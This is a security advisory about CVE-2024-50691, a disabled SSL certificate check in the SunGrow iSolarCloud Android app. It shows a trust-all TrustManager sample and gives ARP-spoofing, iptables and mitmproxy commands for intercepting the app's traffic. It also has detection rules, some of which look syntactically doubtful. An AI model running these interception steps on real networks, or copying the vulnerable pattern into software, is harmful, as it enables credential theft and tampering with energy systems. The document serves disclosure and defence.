CVE-2024-50691

Executive Summary

CVE-2024-50691 identifies a critical security flaw in the SunGrow iSolarCloud Android application (version 2.1.6.20241104 and prior). The application explicitly disables SSL certificate validation, making it vulnerable to Man-in-the-Middle (MiTM) attacks. An attacker on the same network can impersonate the iSolarCloud server, intercept all communications, and potentially inject malicious data or commands. This vulnerability affects the Android client side and does not involve any server-side component. No official patch has been released by SunGrow as of the latest advisory.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.0 (High)
• Attack Vector (AV): Adjacent Network – attacker must be on the same Wi-Fi or local network.
• Attack Complexity (AC): Low – standard MiTM tools (e.g., ARP spoofing) are sufficient.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – the victim must be using the app.
• Scope (S): Unchanged – the vulnerable component is the app itself.
• Confidentiality (C): High – all app-server traffic can be read.
• Integrity (I): High – attacker can modify data in transit.
• Availability (A): High – attacker can disrupt or manipulate commands.

Threat Level: High. The vulnerability is trivial to exploit with widely available tools, and the impact on solar energy management systems could be severe (e.g., disabling inverters, falsifying energy data).

Deep Dive & Mechanics

The iSolarCloud Android app is used to monitor and control SunGrow solar inverters and energy storage systems. The app communicates with the iSolarCloud backend over HTTPS. However, the app’s network code explicitly disables SSL certificate validation, likely by implementing a custom TrustManager that trusts all certificates or by overriding onReceivedSslError to proceed regardless of errors.

Root Cause: The app’s WebViewClient or SSLSocketFactory is configured to ignore certificate validation errors. This is a classic anti-pattern in Android development, often done to bypass self-signed certificates during testing but mistakenly left in production.

Attack Scenario:

1. Attacker gains access to the same Wi-Fi network as the victim (e.g., public Wi-Fi, compromised router).
2. Attacker performs ARP spoofing to intercept traffic between the victim’s device and the iSolarCloud server.
3. Attacker sets up a proxy (e.g., mitmproxy, Burp Suite) that presents a self-signed certificate.
4. The iSolarCloud app accepts the invalid certificate and establishes a “secure” connection with the attacker.
5. Attacker can now read all data (login credentials, energy production data, inverter commands) and inject malicious payloads (e.g., turn off inverters, alter billing data).

Vulnerable vs. Patched Code

Vulnerable Code (Android – Java/Kotlin):

// Example of vulnerable TrustManager
TrustManager[] trustAllCerts = new TrustManager[] {
    new X509TrustManager() {
        public void checkClientTrusted(X509Certificate[] chain, String authType) {}
        public void checkServerTrusted(X509Certificate[] chain, String authType) {}
        public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
    }
};
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

Patched Code (Expected):

// Proper certificate validation using default TrustManager
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, null, new SecureRandom()); // Uses system default trust store
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

Note: No official patch has been released. The above is the recommended fix.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Kali Linux or similar with mitmproxy, bettercap, or Burp Suite.
• Victim device running iSolarCloud app on the same network.

Steps:

1. Enable IP forwarding and ARP spoofing:

   echo 1 > /proc/sys/net/ipv4/ip_forward
   arpspoof -i eth0 -t <victim_ip> <gateway_ip>
   arpspoof -i eth0 -t <gateway_ip> <victim_ip>
   

2. Run mitmproxy to intercept traffic:

   mitmproxy --mode transparent --listen-port 8080
   

3. Redirect victim’s HTTPS traffic to the proxy (using iptables):

   iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
   

4. The iSolarCloud app will accept the mitmproxy certificate, and all traffic will be visible in the proxy interface.

Exploit Code (Python – Proof of Concept):

# Simple MiTM proxy using scapy and sslstrip (conceptual)
from scapy.all import *
import sslstrip

# This is a placeholder; actual exploitation uses tools like mitmproxy
print("Run mitmproxy or Burp Suite to intercept traffic.")

Blue Team (Defender)

Detection:

• Monitor for ARP spoofing alerts on the network (e.g., using arpwatch).
• Deploy network intrusion detection (NIDS) rules to detect invalid SSL certificates (see Suricata rule below).
• Use endpoint detection (EDR) to flag apps that disable certificate validation.

Mitigation:

• Isolate the iSolarCloud app on a separate VLAN with strict egress rules.
• Use a VPN or proxy with certificate pinning to enforce validation.
• Monitor for unusual traffic patterns (e.g., sudden increase in SSL handshake failures).

Indicators of Compromise (IOCs)

• Network:
  • ARP cache entries showing multiple IPs for the same MAC address.
  • SSL certificates presented by the server that are self-signed or not matching the expected iSolarCloud domain.
  • Unusual outbound connections from the Android device to unknown IPs on port 443.
• Host (Android):
  • Presence of proxy configuration (e.g., iptables rules, VPN apps).
  • Logs showing SSLException or certificate pinning failure suppressed.
• File:
  • Modified TrustManager implementations in the app’s decompiled code.

Detection Engineering

YARA Rule

rule CVE_2024_50691_SSL_Bypass {
    meta:
        description = "Detects Android apps that disable SSL certificate validation"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-50691"
    strings:
        $s1 = "checkClientTrusted" ascii wide
        $s2 = "checkServerTrusted" ascii wide
        $s3 = "getAcceptedIssuers" ascii wide
        $s4 = "onReceivedSslError" ascii wide
        $s5 = "proceed" ascii wide
    condition:
        (all of ($s1, $s2, $s3)) or ($s4 and $s5)
}

Sigma Rule

title: CVE-2024-50691 - SSL Certificate Validation Disabled in Android App
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic where an Android app accepts invalid SSL certificates
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        ssl.validation_status: "self_signed" OR "invalid"
        user_agent: "*iSolarCloud*"
    condition: selection
falsepositives:
    - Legitimate testing environments
level: high

Suricata Rule

alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2024-50691 - iSolarCloud App Accepts Invalid SSL Certificate"; flow:to_server; tls.cert_issuer:!".*solarcloud.*"; tls.cert_subject:!".*solarcloud.*"; content:"iSolarCloud"; http_user_agent; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the app: Check the Google Play Store for any updates. If none, uninstall the app until a patch is released.
2. Network segmentation: Place the Android device on a separate VLAN with no access to critical infrastructure.
3. Use a VPN: Route all iSolarCloud traffic through a corporate VPN that performs SSL inspection.

Long-term Fix:

• SunGrow must release a patched version that uses proper certificate validation (e.g., certificate pinning or system trust store).
• Developers should never disable SSL validation in production builds.

Workaround:

• Use a third-party firewall app (e.g., NetGuard) to block all traffic except to the official iSolarCloud server IP, and enforce certificate pinning via a local proxy.

Valters IT